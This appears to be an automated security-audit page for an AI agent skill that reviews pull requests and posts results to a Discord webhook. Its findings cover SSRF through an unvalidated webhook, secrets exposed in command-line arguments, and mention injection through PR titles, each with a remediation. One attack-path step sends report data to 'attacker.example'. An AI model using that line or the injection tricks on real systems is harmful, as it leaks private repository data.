Back to skill

Security audit

PR Auto-Review

Security checks for vulnerabilities and agentic risk

Overview

This PR review skill is mostly coherent, but it can send repository and health-check details to an unvalidated webhook destination, so users should review it carefully before installing.

Install only if you are comfortable with PR and service-health details being posted externally. Use a dedicated Discord webhook from a trusted secret store, avoid passing real webhook URLs directly on shared command lines, skip or constrain health checks for sensitive environments, and do not enable cron automation unless repeated external notifications are intended.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (3)

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/pr-auto-review.sh:149
Finding
Unrestricted webhook destination enables SSRF and report disclosure<![CDATA[ ## Vulnerability Details **File Location**: `scripts/pr-auto-review.sh`, lines 149–157 **Vulnerability Type**: Server-Side Request Forgery and sensitive metadata disclosure **Risk Level**: Medium ### Vulnerable Code ```bash # ── Phase 4: Discord Notification ───────────────────────────────── if [[ -n "$DISCORD_WEBHOOK" ]]; then echo "" >&2 echo "Sending to Discord..." >&2 # Discord webhook: content field max 2000 chars CONTENT=$(head -c 1900 "$REPORT") curl -s -X POST "$DISCORD_WEBHOOK" \ -H "Content-Type: application/json" \ -d "$(jq -n --arg c "$CONTENT" '{content: $c}')" > /dev/null 2>&1 echo "Discord notification sent." >&2 fi ``` ### Technical Analysis The value supplied through `--discord-webhook` is passed directly to `curl` without validating its scheme, hostname, port, or path. Although the option is described as a Discord webhook, the implementation permits HTTP requests to arbitrary attacker-selected destinations. The request body contains up to 1,900 bytes from the generated report. Depending on execution mode, this report can include private PR titles, authors, changed filenames, CI check output, branch details, and health-check results. Sending the report to an arbitrary endpoint exceeds the minimum network access required for the declared Discord notification functionality. ### Attack Path 1. An attacker gains control of, or influences, the arguments used to invoke the Skill. 2. The attacker supplies a destination such as: ```bash --discord-webhook http://attacker.example/collect ``` Alternatively, the attacker supplies an internal HTTP endpoint reachable from the execution host. 3. The script retrieves PR and CI metadata and performs the configured health checks. 4. The script constructs the report and sends its first 1,900 bytes in an HTTP POST to the attacker-selected destination. 5. The attacker receives repository or operational metadata, or uses the request to interact with an internal service ...[truncated 528 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Parse and validate the webhook URL before invoking `curl`. 2. Require HTTPS and allow only approved Discord hosts, such as `discord.com`. 3. Require the expected `/api/webhooks/` path structure. 4. Reject URLs containing embedded credentials, unexpected ports, fragments, or non-HTTPS schemes. 5. Prevent protocol changes and redirects: ```bash curl --proto '=https' --max-redirs 0 ... ``` 6. If non-Discord destinations are legitimately required, place them behind an explicit administrator-controlled allowlist rather than accepting arbitrary runtime input. 7. Minimize the transmitted report and omit private filenames, CI details, and health data unless explicitly required. 8. Check the HTTP result and report failures instead of always printing that the notification was sent. ]]>

T09 · Insecure Skill Coding Practices

Note
Location
scripts/pr-auto-review.sh:10
Finding
Discord webhook credential is exposed through command-line arguments<![CDATA[ ## Vulnerability Details **File Location**: `scripts/pr-auto-review.sh`, lines 10–17; documented in `SKILL.md`, lines 24–32 **Vulnerability Type**: Insecure handling of a bearer credential **Risk Level**: Low ### Vulnerable Code ```bash while [[ $# -gt 0 ]]; do case "$1" in --pr-url) PR_URL="$2"; shift 2 ;; --branch) BRANCH="$2"; shift 2 ;; --discord-webhook) DISCORD_WEBHOOK="$2"; shift 2 ;; --skip-healthcheck) SKIP_HEALTHCHECK=true; shift ;; --report) REPORT_FILE="$2"; shift 2 ;; *) echo "Unknown option: $1"; exit 1 ;; esac done ``` The documented invocation encourages this usage: ```bash bash scripts/pr-auto-review.sh \ --pr-url https://github.com/org/repo/pull/123 \ --discord-webhook https://discord.com/api/webhooks/.../... ``` ### Technical Analysis A Discord webhook URL contains a bearer-style secret that authorizes posting to the corresponding channel. Passing that URL as a command-line argument can expose it through shell history, process-list inspection, CI command logging, job diagnostics, or process-monitoring systems. The script does not print the webhook itself, but avoiding explicit output is insufficient because the secret remains present in the process arguments. ### Attack Path 1. An operator follows the documented example and supplies the webhook URL through `--discord-webhook`. 2. The command is retained in shell history, captured in automation logs, or temporarily visible through operating-system process inspection. 3. A local user, log reader, or monitoring-system user obtains the complete webhook URL. 4. The attacker sends requests directly to Discord using the stolen URL. 5. The attacker posts unauthorized messages until the webhook is revoked or rotated. ### Impact Assessment A successful attacker can impersonate the webhook and send unauthorized content to its configured Discord channel. This can support phishing, false operational alerts, notification spam, and soc ...[truncated 218 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Remove the webhook value from the recommended command-line interface. 2. Read the credential from a protected environment variable, secret manager, standard input, or permission-restricted file. 3. Consider supporting a safer option such as: ```bash --discord-webhook-file /run/secrets/discord_webhook ``` 4. Require restrictive file permissions when a credential file is used. 5. Configure CI systems to inject the value from their native secret stores and ensure masking is enabled. 6. Avoid tracing commands with `set -x` when secrets are present. 7. Update `SKILL.md` so examples do not encourage placing a real webhook URL in shell history. 8. Rotate any webhook that may already have appeared in command history or logs. ]]>

T09 · Insecure Skill Coding Practices

Note
Location
scripts/pr-auto-review.sh:39
Finding
Untrusted PR metadata can trigger Discord mentions and manipulate notification formatting<![CDATA[ ## Vulnerability Details **File Location**: `scripts/pr-auto-review.sh`, lines 39–58 and 149–156 **Vulnerability Type**: Unescaped untrusted content in Discord webhook messages **Risk Level**: Low ### Vulnerable Code ```bash if [[ -n "$PR_URL" ]]; then # Extract PR number from URL (supports github.com/org/repo/pull/123) PR_NUM=$(echo "$PR_URL" | grep -oE '/pull/[0-9]+' | grep -oE '[0-9]+') if [[ -n "$PR_NUM" ]]; then # Get PR diff DIFF=$(gh pr diff "$PR_NUM" 2>/dev/null || echo "UNABLE_TO_FETCH_DIFF") PR_TITLE=$(gh pr view "$PR_NUM" --json title --jq '.title' 2>/dev/null || echo "Unknown PR") PR_AUTHOR=$(gh pr view "$PR_NUM" --json author --jq '.author.login' 2>/dev/null || echo "unknown") PR_FILES=$(gh pr diff "$PR_NUM" --name-only 2>/dev/null || echo "") FILE_COUNT=$(echo "$PR_FILES" | grep -c . || echo "0") echo "**PR**: [#${PR_NUM}](${PR_URL}) — ${PR_TITLE}" >> "$REPORT" echo "**Author**: ${PR_AUTHOR}" >> "$REPORT" echo "**Files changed**: ${FILE_COUNT}" >> "$REPORT" echo "" >> "$REPORT" # CI/CD status CI_STATUS=$(gh pr checks "$PR_NUM" 2>/dev/null || echo "UNABLE_TO_CHECK") ``` The generated content is then sent without an `allowed_mentions` restriction: ```bash CONTENT=$(head -c 1900 "$REPORT") curl -s -X POST "$DISCORD_WEBHOOK" \ -H "Content-Type: application/json" \ -d "$(jq -n --arg c "$CONTENT" '{content: $c}')" > /dev/null 2>&1 ``` ### Technical Analysis The PR title is contributor-controlled and is inserted into the Markdown report without escaping or normalization. The report is subsequently sent as Discord message content. The JSON payload does not include Discord's `allowed_mentions` control. A malicious title containing `@everyone`, `@here`, a role mention, or Markdown control characters may therefore cause unwanted notifications or alter the visual structure of the automated report. Other externally sourced values, including changed filenames and CI output, may also aff ...[truncated 1189 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Disable all automatic mention parsing in the Discord payload: ```bash jq -n --arg c "$CONTENT" \ '{content: $c, allowed_mentions: {parse: []}}' ``` 2. Escape Discord Markdown metacharacters in PR titles, filenames, authors, and other externally sourced values. 3. Normalize or remove control characters and unexpected line breaks before constructing the report. 4. Clearly delimit untrusted repository metadata from trusted status text. 5. Where possible, use structured Discord embeds with plain field values while still disabling mentions. 6. Add tests covering `@everyone`, `@here`, role/user mention syntax, code fences, links, multiline titles, and Markdown heading injection. ]]>
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Trigger AbuseOverly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
Findings (5)

Lp3

Medium
Category
MCP Least Privilege
Confidence
91% confidence
Finding
The skill advertises shell-driven behavior but declares no explicit tool scope or permissions boundaries. That omission can cause an agent to invoke shell commands more broadly than a user expects, increasing the risk of unintended command execution, network access, or data handling during PR review workflows.

Vague Triggers

Medium
Confidence
94% confidence
Finding
The trigger phrases and activation description are broad enough that the skill could run in loosely related contexts, including ordinary requests about PRs or post-merge checks. Because the workflow fetches repository data, performs network probes, and may notify Discord, ambiguous activation increases the chance of unintended execution and unintended disclosure of repository metadata or results.

Missing User Warnings

Medium
Confidence
95% confidence
Finding
The skill sends PR review output to a Discord webhook but does not clearly warn users that PR data, findings, and possibly sensitive metadata may be transmitted to a third-party service. In the context of code review and secret scanning, this is more dangerous because reports can include filenames, excerpts, CI status, and indicators of sensitive content that users may not expect to leave their environment.

Missing User Warnings

Medium
Confidence
95% confidence
Finding
The script can send the generated PR review report to an arbitrary Discord webhook, and that report may contain sensitive repository metadata, CI results, changed filenames, health-check output, or secrets surfaced from diffs. Although the webhook is user-supplied and transmission is explicit in code, there is no consent prompt, content redaction, or allowlist, so accidental data disclosure to third-party infrastructure is a realistic risk.

External Transmission

Medium
Category
Data Exfiltration
Content
echo "Sending to Discord..." >&2
  # Discord webhook: content field max 2000 chars
  CONTENT=$(head -c 1900 "$REPORT")
  curl -s -X POST "$DISCORD_WEBHOOK" \
    -H "Content-Type: application/json" \
    -d "$(jq -n --arg c "$CONTENT" '{content: $c}')" > /dev/null 2>&1
  echo "Discord notification sent." >&2
Confidence
96% confidence
Finding
This line performs outbound transmission of report content to the URL provided in DISCORD_WEBHOOK. In the context of a PR automation skill, the report aggregates potentially sensitive operational and code-review data, so sending it to an external endpoint can leak internal information if the webhook is misconfigured, attacker-controlled, or used in an untrusted environment.

Static analysis

No suspicious patterns detected.